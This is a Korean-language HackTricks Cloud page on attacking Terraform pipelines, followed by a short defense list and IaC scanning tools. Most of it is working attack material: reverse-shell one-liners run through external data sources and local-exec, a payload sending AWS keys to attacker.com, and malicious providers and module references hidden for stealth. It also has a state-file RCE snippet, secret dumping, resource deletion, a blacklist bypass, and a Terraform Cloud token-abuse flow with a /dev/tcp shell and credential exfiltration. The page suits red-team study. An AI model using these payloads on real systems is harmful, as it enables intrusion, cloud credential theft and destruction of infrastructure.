Terraform 보안
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
HashiCorp Terraform은 사람이 읽을 수 있는 구성 파일에서 클라우드 및 온프레미스 리소스를 정의할 수 있게 해주는 인프라를 코드로 관리하는 도구입니다. 이러한 구성 파일은 버전 관리, 재사용 및 공유가 가능하며, 일관된 워크플로우를 사용해 인프라의 전체 수명주기 동안 프로비저닝 및 관리를 수행할 수 있습니다. Terraform은 compute, storage, networking 같은 저수준 구성요소뿐만 아니라 DNS 엔트리나 SaaS 기능 같은 고수준 구성요소도 관리할 수 있습니다.
Terraform은 어떻게 동작하나요?
Terraform은 클라우드 플랫폼 및 기타 서비스의 API를 통해 리소스를 생성하고 관리합니다. Providers는 Terraform이 접근 가능한 API를 가진 거의 모든 플랫폼이나 서비스와 작동할 수 있게 합니다.
.png)
HashiCorp와 Terraform 커뮤니티는 이미 수천 종류의 리소스와 서비스를 관리하기 위해 1700개 이상의 providers를 작성했으며 이 수는 계속 증가하고 있습니다. 모든 공개적으로 이용 가능한 providers는 Terraform Registry에서 찾을 수 있으며, 여기에는 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 등 수많은 서비스가 포함됩니다.
핵심 Terraform 워크플로우는 세 단계로 구성됩니다:
- Write: 여러 클라우드 제공자와 서비스를 가로지르는 리소스를 정의합니다. 예를 들어 VPC 네트워크의 가상머신들에 보안 그룹과 로드밸런서를 포함해 애플리케이션을 배포하는 구성을 만들 수 있습니다.
- Plan: Terraform은 기존 인프라와 구성에 기초해 생성, 업데이트 또는 삭제할 인프라를 설명하는 실행 계획을 만듭니다.
- Apply: 승인되면 Terraform은 리소스 종속성을 고려해 제안된 작업을 올바른 순서로 수행합니다. 예를 들어 VPC의 속성을 업데이트하고 해당 VPC의 가상머신 수를 변경하면, Terraform은 가상머신을 스케일하기 전에 VPC를 재생성합니다.
.png)
Terraform Lab
컴퓨터에 terraform을 설치하면 됩니다.
설치 가이드는 [guide]에 있고 terraform을 다운로드하는 가장 좋은 방법은 [best way to download terraform]에 있습니다.
RCE in Terraform: config file poisoning
Terraform은 웹페이지나 네트워크 서비스를 노출하는 플랫폼이 아니므로 열거할 수 있는 방식이 없습니다. 따라서 Terraform을 타깃으로 삼기 위한 유일한 방법은 terraform 구성 파일을 추가/수정할 수 있는 권한을 갖거나, terraform state 파일을 수정할 수 있는 권한을 갖는 것입니다(아래 챕터 참조).
그러나 terraform은 제대로 동작하기 위해 다양한 위치에 대한 권한이 높은 접근 권한을 가지므로 타깃으로 삼기에 매우 민감한 구성 요소입니다.
공격자가 terraform이 실행되는 시스템을 손상시키는 주요 방법은 결국 구성 파일이 어느 시점에서든 해석(interpreted) 될 것이기 때문에 terraform 구성을 저장하는 리포지토리를 탈취하는 것입니다.
실제로 PR이 생성된 후 자동으로 terraform plan/apply를 실행하는 솔루션들(예: Atlantis)이 존재합니다:
terraform 파일을 탈취할 수 있다면 누군가 terraform plan 또는 terraform apply를 실행할 때 RCE를 수행할 수 있는 여러 가지 방법이 있습니다.
Terraform plan
Terraform plan은 terraform에서 가장 많이 사용되는 명령이며 개발자나 terraform을 사용하는 솔루션들은 이를 항상 호출합니다. 따라서 가장 쉬운 RCE 방법은 terraform plan 중 임의의 명령을 실행하도록 terraform 구성 파일을 오염시키는 것입니다.
Using an external provider
Terraform은 Terraform과 외부 프로그램 간의 인터페이스를 제공하는 external provider를 제공합니다. external data source를 사용하면 plan 중에 임의의 코드를 실행할 수 있습니다.
terraform 구성 파일에 다음과 같은 내용을 주입하면 terraform plan을 실행할 때 rev shell이 실행됩니다:
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
커스텀 provider 사용
공격자는 custom provider을 Terraform Registry에 제출한 다음 feature branch의 Terraform 코드에 추가할 수 있습니다 (example from here):
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
프로바이더는 init에서 다운로드되며 plan이 실행될 때 악성 코드를 실행합니다
예제는 https://github.com/rung/terraform-provider-cmdexec에서 확인할 수 있습니다
외부 참조 사용
위에서 언급한 두 옵션은 유용하지만 그다지 stealthy하지 않습니다(두 번째가 더 stealthy하지만 첫 번째보다 더 복잡합니다). 다음 제안을 따르면 이 공격을 더 stealthier way로 수행할 수 있습니다:
- terraform 파일에 rev shell을 직접 추가하는 대신, rev shell을 포함하는 외부 리소스 로드를 사용할 수 있습니다:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
rev shell code는 https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules에서 찾을 수 있습니다.
- 외부 리소스에서 ref 기능을 사용해 리포지토리의 브랜치 안에 있는 terraform rev shell code in a branch를 숨기세요. 예:
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Terraform Apply
Terraform apply는 모든 변경사항을 적용하기 위해 실행됩니다. 또한 이를 악용해 RCE를 얻기 위해 a malicious Terraform file with local-exec.
다음과 같은 페이로드가 main.tf 파일의 끝에 위치하도록 하면 됩니다:
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
이전 기법의 권장 사항을 따르고 이 공격을 외부 참조를 사용하여 더 은밀하게 수행하세요.
Secrets Dumps
다음과 같이 terraform 파일에 항목을 추가하면 terraform apply를 실행할 때 terraform에서 사용되는 비밀 값들이 덤프되도록 할 수 있습니다:
output "dotoken" {
value = nonsensitive(var.do_token)
}
Terraform State Files 악용
In case you have write access over terraform state files but cannot change the terraform code, this research gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the git history.
RCE in Terraform: config file poisoning
It is possible to create a custom provider and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
The provider statefile-rce builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute command. When the terraform run is triggered, this will be read and executed in both the terraform plan and terraform apply steps. In case of the terraform apply step, terraform will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the GitHub repository hosting the source code for this provider.
To use it directly, just include the following at any position of the resources array and customize the name and the command attributes:
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
Then, as soon as terraform gets executed, your code will run.
Deleting resources
리소스를 삭제하는 방법은 2가지가 있습니다:
- 상태 파일(state file)에 무작위 이름의 리소스를 삽입하고 삭제하려는 실제 리소스를 가리키게 하는 방법
terraform이 해당 리소스가 존재하면 안 된다고 판단하면, 지정된 실제 리소스 ID를 따라 해당 리소스를 파괴합니다(지정된 실제 리소스 ID를 따름). 이전 페이지의 예:
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
- 업데이트가 불가능하도록 리소스를 수정해 삭제 후 재생성되게 하기
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
블랙리스트된 프로바이더 교체
만약 hashicorp/external이 블랙리스트에 올라 있는 상황이 발생하면, 다음과 같이 external 프로바이더를 재구현할 수 있습니다. 참고: 우리는 https://registry.terraform.io/providers/nazarewk/external/latest에 게시된 external provider의 포크를 사용합니다. 직접 포크나 재구현을 게시할 수도 있습니다.
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
그런 다음 평소와 같이 external을 사용할 수 있습니다.
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
Terraform Cloud speculative plan RCE and credential exfiltration
이 시나리오는 Terraform Cloud (TFC) runners를 speculative plans 동안 악용하여 대상 클라우드 계정으로 피벗합니다.
-
Preconditions:
-
개발자 머신에서 Terraform Cloud 토큰을 탈취합니다. CLI는 토큰을 평문으로
~/.terraform.d/credentials.tfrc.json에 저장합니다. -
토큰은 대상 organization/workspace에 접근 권한이 있으며 최소한
plan권한을 가지고 있어야 합니다. VCS-backed workspaces는 CLI에서apply를 차단하지만, 여전히 speculative plans를 허용합니다. -
TFC API를 통해 workspace 및 VCS 설정을 확인합니다:
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
- speculative plan 중에 external data source와 Terraform Cloud “cloud” block을 사용하여 VCS-backed workspace를 대상으로 code execution을 트리거합니다:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
TFC runner에서 reverse shell을 얻기 위한 예시 rsync.sh:
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
프로그램을 ephemeral runner에서 실행하기 위한 예비 계획을 수행하세요:
terraform init
terraform plan
- runner에서 주입된 cloud credentials을 enumerate하고 exfiltrate합니다. 실행 중 TFC는 provider credentials를 files 및 environment variables를 통해 주입합니다:
env | grep -i gcp || true
env | grep -i aws || true
러너 작업 디렉터리에서 예상되는 파일:
-
GCP:
-
tfc-google-application-credentials(Workload Identity Federation JSON 구성) -
tfc-gcp-token(단기간 유효한 GCP 액세스 토큰) -
AWS:
-
tfc-aws-shared-config(web identity/OIDC 역할 전환 구성) -
tfc-aws-token(단기간 유효한 토큰; 일부 조직은 정적 키를 사용할 수 있음) -
단기간 자격 증명을 out-of-band 방식으로 사용하여 VCS 게이트를 우회:
GCP (gcloud):
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
AWS (AWS CLI):
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
이러한 자격 증명을 통해 공격자는 네이티브 CLI를 사용해 리소스를 직접 생성/수정/삭제할 수 있으며, VCS를 통해 apply를 차단하는 PR 기반 워크플로를 우회할 수 있습니다.
- 방어 지침:
- TFC 사용자/팀과 토큰에 최소 권한을 적용하세요. 멤버십을 감사하고 과도한 소유자 권한을 피하세요.
- 가능한 경우 민감한 VCS 기반 워크스페이스에서
plan권한을 제한하세요. - Sentinel 정책으로 provider/data source 허용 목록을 시행하여
data "external"또는 알려지지 않은 providers를 차단하세요. provider 필터링에 관한 HashiCorp 지침을 참조하세요. - 정적 클라우드 자격 증명보다 OIDC/WIF를 선호하세요; runners를 민감 자산으로 취급하세요. 추측적 plan 실행 및 예상치 못한 아웃바운드 트래픽(egress)을 모니터링하세요.
- plan 실행 중
tfc-*자격 증명 아티팩트의 유출을 탐지하고 의심스러운external프로그램 사용에 대해 경고를 생성하세요.
Terraform Cloud 침해
토큰 사용
이 explained in this post 에서 설명한 것처럼, terraform CLI는 토큰을 평문으로 **~/.terraform.d/credentials.tfrc.json**에 저장합니다. 이 토큰을 탈취하면 공격자는 토큰의 범위 내에서 해당 사용자를 가장할 수 있습니다.
이 토큰을 사용하면 다음과 같이 org/workspace 정보를 얻을 수 있습니다:
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
그럼 이전 장에서 설명한 것처럼 **terraform plan**을 사용해 임의의 코드를 실행할 수 있다.
클라우드로 빠져나가기
만약 runner가 어떤 클라우드 환경에 위치해 있다면, runner에 연결된 principal의 토큰을 획득하여 외부에서 사용할 수 있다.
-
GCP files (현재 실행 작업 디렉터리에 존재)
-
tfc-google-application-credentials— 외부 아이덴티티를 교환하는 방법을 Google에 알려주는 Workload Identity Federation(WIF)용 JSON 구성. -
tfc-gcp-token— 위에서 참조된 단기(≈1 hour) GCP 액세스 토큰. -
AWS files
-
tfc-aws-shared-config— web identity federation/OIDC role assumption을 위한 JSON (정적 키보다 권장됨). -
tfc-aws-token— 단기 토큰, 또는 잘못 구성된 경우 정적 IAM 키일 수 있음.
Automatic Audit Tools
Snyk Infrastructure as Code (IaC)
Snyk는 Terraform, CloudFormation, Kubernetes 및 기타 IaC 포맷의 취약점과 잘못된 구성을 탐지하는 포괄적인 Infrastructure as Code (IaC) 스캐닝 솔루션을 제공한다.
- 기능:
- 보안 취약점 및 규정 준수 문제에 대한 실시간 스캐닝.
- 버전 관리 시스템(GitHub, GitLab, Bitbucket)과의 통합.
- 자동 수정 pull requests.
- 상세한 수정 권고.
- Sign Up: Create an account on Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
Checkov
Checkov는 인프라스트럭처 코드(IaC)에 대한 정적 코드 분석 도구이자 이미지 및 오픈 소스 패키지를 위한 소프트웨어 구성 분석(SCA) 도구입니다.
이는 Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, 또는 OpenTofu로 프로비저닝된 클라우드 인프라를 스캔하며 그래프 기반 스캐닝으로 보안 및 컴플라이언스 구성 오류를 탐지합니다.
이는 Software Composition Analysis (SCA) scanning을 수행하며, 이는 오픈 소스 패키지와 이미지에 대한 Common Vulnerabilities and Exposures (CVEs) 검색을 위한 스캔입니다.
pip install checkov
checkov -d /path/to/folder
terraform-compliance
다음 docs: terraform-compliance은 terraform에 대한 경량의 보안 및 규정준수 중심 테스트 프레임워크로, infrastructure-as-code에 대해 네거티브 테스트 기능을 제공합니다.
- compliance: 구현된 코드가 보안 표준 및 자체 커스텀 표준을 준수하는지 확인
- behaviour driven development: 우리는 거의 모든 것에 대해 BDD를 사용합니다. IaC에는 왜 사용하지 않나요?
- portable:
pip에서 설치하거나docker로 실행하면 됩니다. See Installation - pre-deploy: 코드가 배포되기 전에 검증합니다
- easy to integrate: 파이프라인(또는 git hooks)에서 실행되어 모든 배포가 검증되도록 할 수 있습니다.
- segregation of duty: 테스트를 별도 리포지토리에 보관하여 다른 팀이 책임지도록 할 수 있습니다.
Note
안타깝게도 코드가 당신이 접근할 수 없는 일부 providers를 사용하고 있다면
terraform plan을 수행할 수 없고 이 도구를 실행할 수 없습니다.
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
tfsec
From the docs: tfsec는 terraform 코드에 대한 정적 분석을 통해 잠재적인 구성 오류를 찾아냅니다.
- ☁️ 모든 주요(및 일부 마이너) 클라우드 공급자에 대한 구성 오류를 검사합니다
- ⛔ 수백 개의 내장 규칙
- 🪆 모듈(로컬 및 원격)을 스캔합니다
- ➕ HCL 식과 리터럴 값을 평가합니다
- ↪️ Terraform 함수(예:
concat())를 평가합니다 - 🔗 Terraform 리소스 간의 관계를 평가합니다
- 🧰 Terraform CDK와 호환됩니다
- 🙅 사용자 정의 Rego 정책을 적용(및 보완)합니다
- 📃 여러 출력 형식을 지원합니다: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ CLI 플래그 및/또는 설정 파일을 통해 구성할 수 있습니다
- ⚡ 매우 빠르며 대규모 리포지토리를 빠르게 스캔할 수 있습니다
brew install tfsec
tfsec /path/to/folder
terrascan
Terrascan은 Infrastructure as Code를 위한 정적 코드 분석기입니다. Terrascan을 사용하면 다음을 수행할 수 있습니다:
- infrastructure as code의 구성 오류를 원활하게 스캔합니다.
- 프로비저닝된 cloud infrastructure를 모니터링하여 posture drift를 초래하는 구성 변경을 감지하고, 안전한 상태로 되돌릴 수 있게 합니다.
- 보안 취약점 및 규정 준수 위반을 탐지합니다.
- cloud native infrastructure를 프로비저닝하기 전에 위험을 완화합니다.
- 로컬에서 실행하거나 CI\CD에 통합할 수 있는 유연성을 제공합니다.
brew install terrascan
terrascan scan -d /path/to/folder
KICKS
Checkmarx의 KICS로 개발 사이클 초기에 infrastructure-as-code의 보안 취약점, 규정 준수 문제 및 인프라 구성 오류를 찾아내세요.
KICS는 Keeping Infrastructure as Code Secure의 약자이며, 오픈 소스이고 모든 cloud native 프로젝트에 필수적입니다.
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
Terrascan
From the docs: Terrascan은 Infrastructure as Code를 위한 정적 코드 분석기입니다. Terrascan을 사용하면 다음을 할 수 있습니다:
- Infrastructure as Code의 잘못된 구성(misconfigurations)을 원활하게 스캔합니다.
- 프로비저닝된 클라우드 인프라에서 보안 태세 변동을 유발하는 구성 변경을 모니터링하고, 안전한 태세로 되돌릴 수 있게 합니다.
- 보안 취약점과 컴플라이언스 위반을 감지합니다.
- 클라우드 네이티브 인프라를 프로비저닝하기 전에 위험을 완화합니다.
- 로컬에서 실행하거나 CI\CD와 통합할 수 있는 유연성을 제공합니다.
brew install terrascan
참고자료
- Atlantis Security
- https://alex.kaskaso.li/post/terraform-plan-rce
- https://developer.hashicorp.com/terraform/intro
- https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
- https://github.com/offensive-actions/terraform-provider-statefile-rce
- Terraform Cloud token abuse turns speculative plan into remote code execution
- Terraform Cloud permissions
- Terraform Cloud API – Show workspace
- AWS provider configuration
- AWS CLI – OIDC role assumption
- GCP provider – Using Terraform Cloud
- Terraform – Sensitive variables
- Snyk Labs – Gitflops: dangers of Terraform automation platforms
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

